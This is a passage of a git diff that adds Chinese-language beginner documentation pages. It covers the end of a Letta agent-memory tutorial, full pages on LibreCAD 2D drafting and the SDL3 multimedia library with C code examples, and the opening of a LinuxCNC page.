+            "value": "I am a patient and clear AI tutor. I explain things using daily analogies first.",
+            "limit": 5000
+        }
+    ]
+)
+
+print(f"Agent created with ID: {agent.id}")
+
+# 发送消息——Agent 会读取它的记忆块来回答
+response = client.agents.messages.create(
+    agent_id=agent.id,
+    input="What do you know about me?"
+)
+
+for message in response.messages:
+    print(message)
+```
+
+输出中，Agent 会引用 `human` 记忆块里的信息来回答，因为它始终在上下文中可见。
+
+### 示例 2：使用共享记忆块让多个 Agent 协作
+
+这是 Letta 最有趣的能力之一——多个 Agent 可以共享同一个 Memory Block。更新一次，所有关联的 Agent 都能看到变化。
+
+```python
+from letta_client import Letta
+import os
+
+client = Letta(api_key=os.getenv("LETTA_API_KEY"))
+
+# 创建一个"组织信息"共享记忆块
+shared_block = client.blocks.create(
+    label="organization",
+    description="A block to store information about the organization. Shared across all agents.",
+    value="Organization: Letta. Mission: Build infrastructure for self-improving AI.",
+    limit=4000
+)
+
+# Agent A：负责研究
+agent_a = client.agents.create(
+    name="research_agent",
+    memory_blocks=[
+        {"label": "persona", "value": "I am a research specialist. I gather and analyze information."}
+    ],
+    block_ids=[shared_block.id],  # 共享块
+    model="openai/gpt-4o-mini"
+)
+
+# Agent B：负责写作
+agent_b = client.agents.create(
+    name="writer_agent",
+    memory_blocks=[
+        {"label": "persona", "value": "I am a content writer. I take research and turn it into articles."}
+    ],
+    block_ids=[shared_block.id],  # 同一个共享块
+    model="openai/gpt-4o-mini"
+)
+
+# 更新共享块——两个 Agent 立刻都能看到新信息
+client.blocks.update(shared_block.id, {
+    value="Organization: Letta. Mission: Build infrastructure for self-improving AI.\nNew: Launching v0.17 in June 2026."
+})
+```
+
+两个 Agent 在各自的对话中都能看到最新的组织信息，实现了跨 Agent 的记忆同步。
+
+### 示例 3：Agent 自主使用存档记忆
+
+Agent 可以主动把重要信息存入 Archival Memory，之后通过语义搜索找回。
+
+```python
+# Agent 在对话中自动调用 archival_memory_insert：
+client.agents.passages.insert(
+    agent_id=agent.id,
+    content="Jason prefers Python over TypeScript for new projects.",
+    tags=["user_preference", "language"]
+)
+
+# 之后通过语义搜索召回（不是关键词匹配，而是语义理解）
+results = client.agents.passages.search(
+    agent_id=agent.id,
+    query="programming language choice",  # 搜的是意思，不是原文
+    tags=["user_preference"],
+    page=0
+)
+
+for passage in results:
+    print(passage.content)
+# 输出: "Jason prefers Python over TypeScript for new projects."
+```
+
+注意搜索时用的是"programming language choice"而不是原文"Python"或"TypeScript"——向量搜索理解语义，能找到相关但用词不同的记忆。
+
+## 为什么 Letta 与众不同
+
+传统 LLM 应用里，记忆是"一次性"的——对话结束就没了。Letta 的创新在于：
+
+1. **记忆由 Agent 自主管理**——不是开发者手动管理上下文，而是 Agent 自己决定什么该记住、什么该归档
+2. **三层记忆分层**——核心记忆永远可见、存档记忆无限容量、文件按需加载，各司其职
+3. **记忆可共享**——多个 Agent 通过共享 Memory Block 实现协作
+4. **所有状态持久化**——消息、记忆、工具调用全部存入数据库，不会丢失
+
+## 关键术语速查
+
+- **Agent**——一个有状态的 AI 实体，包含系统提示、记忆块、消息和工具
+- **Memory Block**——Agent 的核心记忆片段，始终在上下文中可见
+- **Archival Memory**——Agent 的长期记忆库，通过语义搜索检索
+- **Compaction**——当上下文窗口快满了，Letta 自动把旧消息压缩成存档记忆
+- **Passage**——Archival Memory 中的一条记录
+- **Conversation**——同一 Agent 下的独立消息线程，支持多用户并行
+
+## 参考
+
+- 项目主页：https://github.com/letta-ai/letta
+- 官方文档：https://docs.letta.com
+- API 快速开始：https://docs.letta.com/quickstart
+- 安装 Letta Code CLI：`npm install -g @letta-ai/letta-code`
+- SDK 安装：`pip install letta-client`（Python）或 `npm install @letta-ai/letta-client`（TypeScript）
diff --git a/src/content/docs/projects/librecad.md b/src/content/docs/projects/librecad.md
new file mode 100644
index 000000000..b87cccdf8
--- /dev/null
+++ b/src/content/docs/projects/librecad.md
@@ -0,0 +1,257 @@
+---
+title: LibreCAD — 2D 工程绘图
+来源: https://github.com/LibreCAD/LibreCAD
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**LibreCAD** 是一款**免费开源**的二维计算机辅助设计（2D CAD）软件，源码托管于 [LibreCAD/LibreCAD](https://github.com/LibreCAD/LibreCAD)。它用 C++17 与 Qt 框架编写，跨 Windows、macOS、Linux 运行，核心能力是绘制**带精确尺寸的工程平面图**——建筑底图、机械零件俯视图、电路板外形、激光切割轮廓、家具排料图等，而不是像 [[blender]] 那样做 3D 渲染，也不像 [[freecad]] 那样做参数化实体建模。
+
+日常类比：如果把工程制图比作**在无限大的方格纸上用尺规作图**，LibreCAD 就是那张「永远擦不干净的透明绘图纸」：
+
+- **图层（Layer）** 像一叠透明胶片——墙体画在 0 号层、尺寸标注在「Dimensions」层，关掉某层就像把那张胶片抽走；
+- **捕捉（Snap）** 像磁铁——光标靠近端点、中点、垂足时自动「吸」上去，避免手抖画歪 0.5 mm；
+- **块（Block）** 像印章——门、窗、螺栓孔画一次，整栋楼复制粘贴，改块定义全图同步更新；
+- **DXF 文件** 像行业通用的「图纸 PDF」——AutoCAD、激光切割机、CAM 软件大多认得，换软件不丢几何。
+
+再打个比方：LibreCAD 在 CAD 家族里接近 **AutoCAD 的 2D 精简版**。界面有工具栏 + 命令行，习惯用键盘的老制图员会觉得亲切；零基础用户则可以先点图标画线画圆，再慢慢学命令缩写。项目起源于 2010 年前后对 QCAD 社区版的分支（最初叫 CADuntu，后改名 LibreCAD），GPLv2 许可，个人、学校、小企业均可免费使用与修改源码。
+
+最小「代码感」体验——在**命令行停靠窗口**里输入一行多命令，即可画出 10×10 的正方形（分号分隔步骤，`c` 闭合，`k` 结束）：
+
+```
+li;0,0;10..0;0..10;-10..0;c;k
+```
+
+等价于：选直线工具 → 从原点画 → 相对向右 10 → 相对向上 10 → 相对向左 10 → 闭合 → 结束。这是 LibreCAD 最接近「脚本」的入门方式，后面会展开。
+
+## 为什么重要
+
+零基础学「能出图、能加工、能和别人交换文件」的 2D 制图，LibreCAD 有几个现实理由：
+
+- **零订阅、开源**：不像 AutoCAD 按年付费；源码在 GitHub 上可查，GPLv2 保障自由使用与二次开发
+- **DXF 原生**：内部以 DXF（Drawing Exchange Format）为主格式，**读 DWG/DXF**，**写 DXF、SVG、PDF** 等，与工厂、钣金激光、木工 CNC 工作流衔接顺畅
+- **轻量跨平台**：相比 [[freecad]] 的 3D 工作台体系，LibreCAD 专注 2D，启动快、对老机器友好，适合制图课与 Maker 空间
+- **命令行 + 批处理**：熟练后可用命令文件、变量、内置计算器提速；与 [[openscad]] 的「全文编程」不同，但可复制命令历史学习
+- **社区与文档**：官方手册 [docs.librecad.org](https://docs.librecad.org/)、论坛、30+ 语言界面；2.2.x 分支持续改进快捷键与图层操作
+
+代价也要心里有数：**不做 3D**（没有拉伸成实体）；高级参数化、装配、曲面远弱于商业 CAD；插件与 Python/LISP 脚本在主线尚不如 AutoCAD 成熟，但命令行与 DXF 生态已够多数 2D 教学与原型用途。
+
+## 核心要点
+
+### 1. 坐标系与单位
+
+LibreCAD 使用**笛卡尔坐标**：默认 X 向右、Y 向上（可在首选项里调整显示）。常见输入方式：
+
+| 写法 | 含义 | 示例 |
+| --- | --- | --- |
+| `x,y` | 绝对坐标 | `100,50` 表示距原点 (100, 50) |
+| `@dx,dy` | 相对坐标 | 从当前点偏移 |
+| `dx..dy` | 相对坐标简写 | `10..0` 等价 `@10,0`，适合小键盘 |
+| 表达式 | 计算器模式 | `cal` 开启后 `sqrt(3^2+4^2)` 得 5 |
+
+角度：三角函数默认**弧度**；带 `d` 后缀为角度，如 `sin(90d)`。圆周率可用 `pi` 或 `_pi`。
+
+### 2. 图元（Entities）
+
+二维 CAD 的「积木」类型：
+
+| 图元 | 命令别名示例 | 用途 |
+| --- | --- | --- |
+| 点 `point` | `po` | 参考点、定位 |
+| 直线 `line` | `l`, `li` | 轮廓、中心线 |
+| 圆 `circle` | `ci`, `c`（闭合时） | 孔、圆弧基元 |
+| 多段线 `polyline` | `pl` | 连续折线，可设宽度 |
+| 样条 `spline` | — | 平滑曲线 |
+| 椭圆 `ellipse` | — | 非正圆轮廓 |
+| 文字 `text` | — | 注释 |
+| 标注 `dimension` | — | 线性、角度、半径尺寸 |
+| 填充 `hatch` | — | 剖面线、材料区分 |
+| 块 `block` | — | 可复用图块 |
+
+**正交（Orthogonal）** 是默认视角，画标准平面工程图；也支持**等轴测（Isometric）**辅助线，画「伪 3D」示意图。
+
+### 3. 图层、线型与块
+
+- **图层**：控制可见性、颜色、线型、线宽；机械图常用「轮廓 / 中心线 / 虚线 / 标注」分层
+- **线型**：实线、虚线、点划线符合国标/ISO 习惯（具体表在图层属性里设）
+- **块**：`Block → Create` 把选中图元打成块；插入块保持关联，**炸开（Explode）** 可还原为普通图元
+
+类比：图层是「不同颜色的透明纸」，块是「图章库」。
+
+### 4. 捕捉与约束式精度
+
+**Snap** 菜单可开：端点、中点、圆心、垂足、切点、网格点、最近点等。制图时先开捕捉再画线，比肉眼对齐可靠一个数量级。
+
+与 [[freecad]] Sketcher 的**几何约束求解**不同，LibreCAD 2D 更依赖**你输入的坐标和尺寸标注**；标注与几何可关联（驱动尺寸），但思维上仍是「精确输入优先」。
+
+### 5. 文件交换
+
+| 方向 | 常见格式 |
+| --- | --- |
+| 导入 | DXF、DWG（版本因构建而异）、BMP、PNG、SVG 等位图/矢量 |
+| 导出 | DXF、PDF（打印/发客户）、SVG（插图）、PNG/JPEG（预览） |
+
+激光切割、钣金折弯厂通常要 **DXF 或 DWG**；发同事审图常用 **PDF**；嵌入网页说明用 **SVG**。
+
+### 6. 命令行、别名与批处理
+
+命令行停靠栏三部分：**提示符**、**输入框**、**历史输出**。激活方式：直接打字、`Space`、 `Ctrl+M`、`F1` 等（见官方手册）。**Keycode Mode** 下两字母命令如 `li` 可不按回车。
+
+别名在 `librecad.alias` 中定义（勿改右侧长命令名，只改左侧缩写）：
+
+```
+l	line
+li	line
+ci	circle
+```
+
+路径示例：Linux `~/.local/share/LibreCAD/LibreCAD/librecad.alias`；macOS `~/Library/Application Support/LibreCAD/librecad.alias`。
+
+## 代码示例
+
+### 示例 1：命令行画带孔矩形板（多行交互）
+
+在命令行依次输入（或粘贴多行命令）。画 80×40 外框，中心 (40,20) 处画半径 5 的孔：
+
+```
+rec
+0,0
+80,40
+k
+ci
+40,20
+5
+k
+```
+
+说明：`rec` 矩形两点对角；`k` 结束当前工具；`ci` 圆心+半径。若已熟悉相对坐标，外框也可一行完成：
+
+```
+li;0,0;80..0;0..40;-80..0;c;k
+```
+
+### 示例 2：命令文件批量出图（`plate_outline.txt`）
+
+把下面保存为文本文件，在命令行菜单选 **Load Command File** 加载，适合重复画同类支架：
+
+```
+# 80x40 外框 + 两端 R5 圆角示意（简化：两圆+直线，教学用）
+li
+0,5
+0,35
+k
+li
+80,5
+80,35
+k
+ci
+5,5
+5
+k
+ci
+75,5
+5
+k
+```
+
+以 `#` 开头的行为注释。更复杂图形可拆多个 `.txt`，用变量串联：
+
+```
+a=ci;40,20;5
+b=li;0,0;80..0;0..40;-80..0;c;k
+\c
+```
+
+第三行 `\c` 会展开变量 `c`（需先在命令行定义 `c=\a;\b;kill`）。还可把变量文件路径写到 **Application Preferences → Paths → Variable File**，启动后自动可用。
+
+### 示例 3：ASCII DXF 片段（与外部程序交换）
+
+DXF 是文本格式，理解结构有助于用 Python/脚本生成轮廓再导入 LibreCAD：
+
+```dxf
+0
+SECTION
+2
+ENTITIES
+0
+LINE
+8
+0
+10
+0.0
+20
+0.0
+11
+100.0
+21
+0.0
+0
+CIRCLE
+8
+0
+10
+50.0
+20
+25.0
+40
+10.0
+0
+ENDSEC
+0
+EOF
+```
+
+表示：图层 0 上从 (0,0) 到 (100,0) 的直线，以及圆心 (50,25)、半径 10 的圆。LibreCAD **File → Open** 即可查看；导出时用 **Save As → DXF** 给下游 CAM。
+
+## 与相近工具对比
+
+| 维度 | LibreCAD | [[freecad]] | [[openscad]] | 商业 AutoCAD 2D |
+| --- | --- | --- | --- | --- |
+| 维度 | 纯 2D | 2D+3D 参数化 | 3D 脚本 CSG | 2D/3D 全栈 |
+| 交互 | 鼠标 + 命令行 | 工作台 + 树 | 纯代码 | 鼠标 + 命令行 |
+| 学习曲线 | 中（熟悉 AutoCAD 更快） | 陡 | 程序员友好 | 中 |
+| 许可 | GPLv2 免费 | LGPL 免费 | GPL 免费 | 订阅 |
+| 典型出口 | DXF/PDF 加工图 | STL/STEP 零件 | STL 打印 | DWG 全行业 |
+
+建议组合：**OpenSCAD 生成复杂 3D 打印件 → FreeCAD 做机械装配 → LibreCAD 出 2D 加工图 / 激光 DXF**；按任务选刀，不必只装一个。
+
+## 零基础学习路径
+
+1. **安装**：从 [librecad.org](https://librecad.org/) 或发行版包管理器安装；首次启动设单位（mm）、图纸范围、网格步长
+2. **界面**：认工具栏（画线、画圆、修剪、移动）、图层列表、命令行；**View** 里打开栅格与捕捉
+3. **第一个图**：用矩形 + 直线 + 圆画简单法兰；**Dimension** 标尺寸；**Print Preview** 导出 PDF
+4. **命令行**：用 `li`、`ci`、`rec` 重复上一张图，体会相对坐标 `@` 与 `..`
+5. **图层与块**：把中心线换图层、线型；门洞做成块插入
+6. **交换**：导出 DXF 用其他查看器打开；导入厂方样板图练习编辑
+7. **进阶**：自定义 `librecad.alias`、命令文件、变量；关注 2.2.x 新工具（距离标注、批量改层等）
+
+## 常见问题
+
+**Q：能打开 AutoCAD 的 DWG 吗？**  
+A：LibreCAD 带 DWG 导入支持（依赖版本与 libdxfrw 等），复杂 DWG 可能丢部分自定义对象；稳妥做法是让对方另存 **DXF R12–2018**。打不开时先用 ODA File Converter 转 DXF 再导入。
+
+**Q：和 FreeCAD 的 Draft 工作台有什么区别？**  
+A：FreeCAD Draft 是 3D 文档里的 2D 草图，常与 3D 特征联动；LibreCAD 专注纯 2D 文件与 DXF 生态，做「一张加工图」往往更直接。
+
+**Q：有没有 Python 脚本？**  
+A：主线以 C++ 插件为主；社区有 Python/LISP 实验分支，生产环境更常用**命令文件 + DXF 外部生成**。把命令行历史当「宏录制」学习路径，性价比最高。
+
+**Q：画 3D 打印件可以吗？**  
+A：只能画**截面或俯视轮廓**；实体请用 [[openscad]] 或 [[freecad]]，再投影或导出 DXF 做激光切割 2D 件。
+
+## 小结
+
+LibreCAD 是 **GPLv2 的 2D 工程绘图入门利器**：Qt 跨平台、DXF 原生、命令行可批处理，适合教学、Maker、小型工作室出平面图。核心思维是 **图层组织图面、捕捉保证精度、块复用重复结构、DXF/PDF 对接下游**。从零开始：先鼠标画一张带标注的图，再用 `li;0,0;...` 和命令文件把同一套操作「写下来」——你就从制图员变成了半个自动化工程师。
+
+## 延伸阅读
+
+- 官方站点与下载：[librecad.org](https://librecad.org/)
+- 用户手册：[docs.librecad.org](https://docs.librecad.org/)
+- 命令行与计算器：[The Command Line](https://docs.librecad.org/en/stable/guides/cmdline.html)
+- 源码与贡献：[github.com/LibreCAD/LibreCAD](https://github.com/LibreCAD/LibreCAD)
+- 相关笔记：[[freecad]]（3D 参数化）、[[openscad]]（脚本 3D）、[[blender]]（渲染与动画）
diff --git a/src/content/docs/projects/libsdl.md b/src/content/docs/projects/libsdl.md
new file mode 100644
index 000000000..fe769fe3f
--- /dev/null
+++ b/src/content/docs/projects/libsdl.md
@@ -0,0 +1,306 @@
+---
+title: SDL — Simple DirectMedia Layer 跨平台多媒体底层库
+来源: 'https://github.com/libsdl-org/SDL'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**SDL**（Simple DirectMedia Layer，简单直接媒体层）是一个用 C 语言写的跨平台多媒体库，负责帮你的程序对接操作系统底层的窗口、键盘、鼠标、手柄、音频和计时器。日常类比：SDL 就像**剧院的舞台工**——观众（玩家）只看到舞台上的表演，但灯光、幕布、音响、入场检票全是工人在幕后统一调度；SDL 就是那个工人，让你的游戏不用分别跟 Windows、macOS、Linux、iOS、Android 的窗口 API 单独谈判。
+
+SDL 诞生于 1998 年，2024 年发布 **SDL3**（当前主线）。Valve 员工在发布时站台，因为 Source 引擎及大量 Steam 游戏长期依赖 SDL 做跨平台抽象。它不是游戏引擎——没有物理、场景图、资源管理器——而是比引擎更底层的「多媒体胶水层」。LÖVE、部分模拟器、RetroArch、HandBrake 等都站在 SDL 之上。
+
+和 raylib 的关系：raylib 把 SDL/GLFW + OpenGL 封装成「10 行出图」；SDL 则把**原始控制权**交给你——你要自己写事件循环、自己管 Renderer 或 Surface，换来最大灵活度。
+
+## 为什么重要
+
+不理解 SDL，下面这些事都难以解释：
+
+- 为什么 C/C++ 跨平台游戏教程几乎都从 SDL 或 GLFW 起步——它们是「开窗口 + 收输入」的行业标准垫片
+- 为什么 Steam 上大量独立游戏能在 Linux 上原生运行——SDL 把 Win32/Cocoa/X11 差异抹平
+- 为什么 LÖVE 2.x 用 SDL2、3.x 迁移到 SDL3——框架作者不想自己维护六套平台窗口代码
+- 为什么从 SDL2 迁到 SDL3 会踩坑——`SDL_Init` 返回值语义、窗口创建 API、Surface 函数名都变了
+
+## 核心概念
+
+### 1. 子系统（Subsystem）按需初始化
+
+SDL 把功能拆成子模块，用位标志告诉它「我今天需要哪些服务」：
+
+| 标志 | 用途 |
+|------|------|
+| `SDL_INIT_VIDEO` | 窗口、渲染、显示（通常还会连带初始化事件子系统） |
+| `SDL_INIT_AUDIO` | 播放与采集声音 |
+| `SDL_INIT_GAMEPAD` | 手柄输入（SDL3 中替代了 SDL2 的 `SDL_INIT_JOYSTICK` 部分职责） |
+| `SDL_INIT_EVENTS` | 事件队列（多数情况下随 VIDEO 自动启用） |
+
+类比：进餐厅点菜——只点「窗口 + 键盘」就别把「音响师」也叫来，省资源、少冲突。
+
+### 2. 两条渲染路线：Surface vs Renderer
+
+SDL 提供两种把像素弄到屏幕上的方式：
+
+- **Surface 路线**（CPU 渲染）：`SDL_GetWindowSurface` → 在内存位图上画 → `SDL_UpdateWindowSurface` 刷到屏幕。简单、适合像素级操作或学习，性能一般。
+- **Renderer 路线**（GPU 加速 2D）：`SDL_CreateRenderer` → `SDL_RenderClear` / `SDL_RenderFillRect` / `SDL_RenderTexture` → `SDL_RenderPresent`。现代 2D 游戏首选。
+
+类比：Surface 像用**彩铅在纸上画**再拍照投影；Renderer 像用**投影仪直接打光**到幕布。
+
+### 3. 事件循环是程序的心跳
+
+SDL 不帮你自动转圈——你必须写 `while` 循环，每帧做三件事：
+
+1. **Poll 事件**（`SDL_PollEvent`）：窗口关闭、按键、鼠标移动
+2. **更新逻辑**：根据输入改游戏状态
+3. **渲染 + Present**：清屏、画图、交换缓冲区
+
+忘记 Poll 事件，窗口会显示「无响应」；忘记 `SDL_RenderPresent`，画面永远停在第一帧。
+
+### 4. 纹理（Texture）与 Surface 的分工
+
+- **Surface**：CPU 内存里的像素块，适合 `IMG_Load` 读盘、软件缩放。
+- **Texture**：GPU 显存里的贴图，只能经 Renderer 绘制，速度快。
+
+标准流程：`IMG_Load` → Surface → `SDL_CreateTextureFromSurface` → 画 Texture → 销毁 Surface。类比：Surface 是**厨房备好的菜**，Texture 是**端上桌的盘子**——客人只吃盘子里的，备菜区可以撤了。
+
+### 5. SDL3 与 SDL2 的关键差异（迁移备忘）
+
+| 项目 | SDL2 | SDL3 |
+|------|------|------|
+| `SDL_Init` 成功返回值 | `0` | `true`（非零即成功，别和 SDL2 混） |
+| 创建窗口 | 5 个参数含 x/y/flags | `SDL_CreateWindow(title, w, h, flags)` 更短 |
+| 窗口+渲染器一步创建 | 分两次调用 | `SDL_CreateWindowAndRenderer()` |
+| 清屏后呈现 | `SDL_RenderPresent` | 相同，但矩形类型改为 `SDL_FRect`（浮点） |
+| 头文件 | `#include <SDL.h>` | `#include <SDL3/SDL.h>` |
+
+写新代码请直接学 SDL3；维护老项目才需要查 [官方迁移指南](https://wiki.libsdl.org/SDL3/README-migration)。
+
+### 6. 官方扩展库生态
+
+| 库 | 作用 |
+|----|------|
+| **SDL_image** | 加载 PNG/JPG/WebP 等（`IMG_Load`） |
+| **SDL_mixer** | 混音、多声道音效与音乐 |
+| **SDL_ttf** | TrueType 字体渲染 |
+| **SDL_net** | 跨平台 TCP/UDP 套接字 |
+
+它们与主库分开安装，但 API 风格一致，初始化/退出模式相同。
+
+## 实践案例
+
+### 案例 1：SDL3 最小窗口——画一个红色方块
+
+验证安装、理解 Init → 窗口 → 渲染 → 事件 → 清理 全链路：
+
+```c
+#include <SDL3/SDL.h>
+#include <stdbool.h>
+
+int main(void) {
+    // SDL3：返回 true 表示成功
+    if (!SDL_Init(SDL_INIT_VIDEO)) {
+        SDL_Log("SDL_Init failed: %s", SDL_GetError());
+        return 1;
+    }
+
+    SDL_Window *window = NULL;
+    SDL_Renderer *renderer = NULL;
+
+    // SDL3 一步创建窗口和渲染器
+    if (!SDL_CreateWindowAndRenderer(
+            "SDL3 Hello", 800, 600, SDL_WINDOW_RESIZABLE,
+            &window, &renderer)) {
+        SDL_Log("Create window/renderer failed: %s", SDL_GetError());
+        SDL_Quit();
+        return 1;
+    }
+
+    bool running = true;
+    while (running) {
+        SDL_Event e;
+        while (SDL_PollEvent(&e)) {
+            if (e.type == SDL_EVENT_QUIT) {
+                running = false;
+            }
+            if (e.type == SDL_EVENT_KEY_DOWN && e.key.key == SDLK_ESCAPE) {
+                running = false;
+            }
+        }
+
+        SDL_SetRenderDrawColor(renderer, 30, 30, 40, 255);   // 深灰背景
+        SDL_RenderClear(renderer);
+
+        SDL_SetRenderDrawColor(renderer, 220, 60, 60, 255); // 红色
+        SDL_FRect square = { 350.0f, 250.0f, 100.0f, 100.0f };
+        SDL_RenderFillRect(renderer, &square);
+
+        SDL_RenderPresent(renderer);  // 交换缓冲区，显示这一帧
+    }
+
+    SDL_DestroyRenderer(renderer);
+    SDL_DestroyWindow(window);
+    SDL_Quit();
+    return 0;
+}
+```
+
+逐行要点：
+
+- `SDL_CreateWindowAndRenderer` 把 SDL2 里两次调用合成一次，并自动绑定 Renderer 到 Window
+- `SDL_FRect` 用浮点坐标，方便和高 DPI 屏配合（可配合 `SDL_WINDOW_HIGH_PIXEL_DENSITY`）
+- `SDL_EVENT_QUIT` 是用户点关闭按钮；`SDLK_ESCAPE` 是键盘退出——两个都处理是良好习惯
+- 销毁顺序：Renderer → Window → `SDL_Quit()`，与创建相反
+
+**编译（macOS Homebrew 示例）：**
+
+```bash
+brew install sdl3
+cc hello.c -o hello $(pkg-config --cflags --libs sdl3)
+./hello
+```
+
+Linux 用 `apt install libsdl3-dev`，Windows 用 [官方预编译包](https://github.com/libsdl-org/SDL/releases) 或 vcpkg。
+
+### 案例 2：加载精灵图 + WASD 移动（SDL3 + SDL_image）
+
+用扩展库画一张 PNG，并用键盘控制位置——这是 2D 游戏的原型骨架：
+
+```c
+#include <SDL3/SDL.h>
+#include <SDL3_image/SDL_image.h>
+#include <stdbool.h>
+
+int main(void) {
+    if (!SDL_Init(SDL_INIT_VIDEO)) {
+        SDL_Log("SDL_Init: %s", SDL_GetError());
+        return 1;
+    }
+
+    SDL_Window *window = NULL;
+    SDL_Renderer *renderer = NULL;
+    if (!SDL_CreateWindowAndRenderer("Sprite Move", 800, 600, 0, &window, &renderer)) {
+        SDL_Log("Window: %s", SDL_GetError());
+        SDL_Quit();
+        return 1;
+    }
+
+    SDL_Surface *surface = IMG_Load("hero.png");
+    if (!surface) {
+        SDL_Log("IMG_Load: %s", SDL_GetError());
+        SDL_DestroyRenderer(renderer);
+        SDL_DestroyWindow(window);
+        SDL_Quit();
+        return 1;
+    }
+
+    SDL_Texture *texture = SDL_CreateTextureFromSurface(renderer, surface);
+    SDL_DestroySurface(surface);  // 上传 GPU 后 CPU 副本可丢弃
+    if (!texture) {
+        SDL_Log("Texture: %s", SDL_GetError());
+        SDL_DestroyRenderer(renderer);
+        SDL_DestroyWindow(window);
+        SDL_Quit();
+        return 1;
+    }
+
+    float x = 400.0f, y = 300.0f;
+    const float speed = 200.0f;  // 像素/秒
+
+    bool running = true;
+    Uint64 last_ticks = SDL_GetTicks();
+
+    while (running) {
+        SDL_Event e;
+        while (SDL_PollEvent(&e)) {
+            if (e.type == SDL_EVENT_QUIT) running = false;
+        }
+
+        // Delta time：无论 60Hz 还是 144Hz 屏，移动速度一致
+        Uint64 now = SDL_GetTicks();
+        float dt = (now - last_ticks) / 1000.0f;
+        last_ticks = now;
+
+        const bool *keys = SDL_GetKeyboardState(NULL);
+        if (keys[SDL_SCANCODE_W]) y -= speed * dt;
+        if (keys[SDL_SCANCODE_S]) y += speed * dt;
+        if (keys[SDL_SCANCODE_A]) x -= speed * dt;
+        if (keys[SDL_SCANCODE_D]) x += speed * dt;
+
+        SDL_SetRenderDrawColor(renderer, 20, 20, 30, 255);
+        SDL_RenderClear(renderer);
+
+        SDL_FRect dst = { x, y, 64.0f, 64.0f };  // 显示为 64×64
+        SDL_RenderTexture(renderer, texture, NULL, &dst);
+
+        SDL_RenderPresent(renderer);
+    }
+
+    SDL_DestroyTexture(texture);
+    SDL_DestroyRenderer(renderer);
+    SDL_DestroyWindow(window);
+    SDL_Quit();
+    return 0;
+}
+```
+
+关键技术点：
+
+- `SDL_GetTicks` + `dt` 实现**帧率无关移动**——不用 dt，高配电脑角色跑得飞快
+- `SDL_GetKeyboardState` 返回当前帧键盘快照，适合「按住持续移动」；单发动作（跳跃）应监听 `SDL_EVENT_KEY_DOWN`
+- `SDL_RenderTexture` 的 `NULL` 源矩形表示「整张纹理」；第四个参数是屏幕上的目标矩形
+- `hero.png` 需放在可执行文件同目录，或改用 `SDL_GetBasePath()` 拼绝对路径
+
+**编译：**
+
+```bash
+brew install sdl3 sdl3_image
+cc sprite.c -o sprite $(pkg-config --cflags --libs sdl3 SDL3_image)
+```
+
+## 常见坑与排查
+
+| 现象 | 可能原因 | 处理 |
+|------|----------|------|
+| 黑屏但有窗口 | 忘了 `SDL_RenderPresent` | 每帧末尾调用一次 |
+| 窗口「无响应」 | 主循环没 `SDL_PollEvent` | 每帧排空事件队列 |
+| `IMG_Load` 返回 NULL | 路径错或缺 SDL_image | 检查文件名；确认链接了 `SDL3_image` |
+| SDL2 教程跑不起来 | API 已变 | 对照 SDL3 迁移文档改函数名 |
+| 内存持续上涨 | Texture/Surface 没 Destroy | 每个 `Create` 都要有配对 `Destroy` |
+| 高 DPI 屏上图形模糊 | 未处理像素密度 | 加 `SDL_WINDOW_HIGH_PIXEL_DENSITY` 或用逻辑分辨率 |
+
+## 学习路径建议
+
+1. **第一周**：案例 1 → 改颜色、改方块大小、加 FPS 计数（`SDL_GetTicks` 每 1000ms 打印一次）
+2. **第二周**：案例 2 → 加边界钳制（不让角色移出屏幕）、加 `SDL_GetTextureSize` 读原始尺寸
+3. **第三周**：引入 SDL_mixer 播放脚步声；用 SDL_ttf 画分数 HUD
+4. **第四周**：读 [Lazy Foo SDL3 教程](https://lazyfoo.net/tutorials/SDL3/) 或 [SDL Wiki 示例](https://examples.libsdl.org/SDL3/)，尝试瓦片地图或粒子效果
+5. **进阶**：学完 SDL 抽象层后，可转 raylib（更省事）或 GLFW + OpenGL/Vulkan（更自由）
+
+## 与其他技术的关系
+
+```
+操作系统（Win32 / Cocoa / X11 / Wayland / Android …）
+        ↓
+      SDL3  ← 窗口、输入、音频、线程、文件抽象
+        ↓
+  ┌─────┴─────┬─────────────┐
+  ↓           ↓             ↓
+SDL_image  SDL_mixer    SDL_ttf
+  ↓           ↓             ↓
+你的游戏逻辑 / LÖVE / 模拟器 / 播放器 GUI
+```
+
+- **上层框架**：LÖVE（Lua）、Godot 可选 SDL 后端、许多模拟器前端
+- **同层竞品**：GLFW（更专注窗口+OpenGL，不管音频）、SFML（C++ 面向对象封装）
+- **下层**：各操作系统原生 API；SDL 源码在 [libsdl-org/SDL](https://github.com/libsdl-org/SDL) 可读到平台特定实现
+
+## 资源
+
+- 官方仓库：[github.com/libsdl-org/SDL](https://github.com/libsdl-org/SDL)
+- API 文档：[wiki.libsdl.org/SDL3](https://wiki.libsdl.org/SDL3/)
+- SDL2 → SDL3 迁移：[README-migration](https://wiki.libsdl.org/SDL3/README-migration)
+- 示例程序：[examples.libsdl.org](https://examples.libsdl.org/)
+- 经典教程：[Lazy Foo' Productions — SDL3](https://lazyfoo.net/tutorials/SDL3/)
diff --git a/src/content/docs/projects/linuxcnc.md b/src/content/docs/projects/linuxcnc.md
new file mode 100644
index 000000000..2d6ca03c6
--- /dev/null
+++ b/src/content/docs/projects/linuxcnc.md
@@ -0,0 +1,268 @@
+---
+title: LinuxCNC — 在 Linux 上跑完整 CNC「机床操作系统」
+来源: 'https://github.com/LinuxCNC/linuxcnc'
+日期: '2026-06-13'
+子分类: 嵌入式
+分类: 操作系统
+provenance: 'pipeline-v3'
+---
+
+## 是什么
+
+**LinuxCNC** 是 [LinuxCNC/linuxcnc](https://github.com/LinuxCNC/linuxcnc) 维护的一套 **开源 CNC 机床控制软件套件**：在 Linux 上协调最多 **9 轴** 运动，驱动铣床、车床、激光切割机、等离子切割机、3D 打印机、机械臂、六足机器人等「按坐标精确运动的机器」。它不是单一固件，而是一组可深度定制的应用——GUI、实时运动控制、I/O、硬件抽象层（HAL）拼成完整闭环。
+
+日常类比：**机床上的「总调度中心 + 接线间 + 操作面板」**。
+
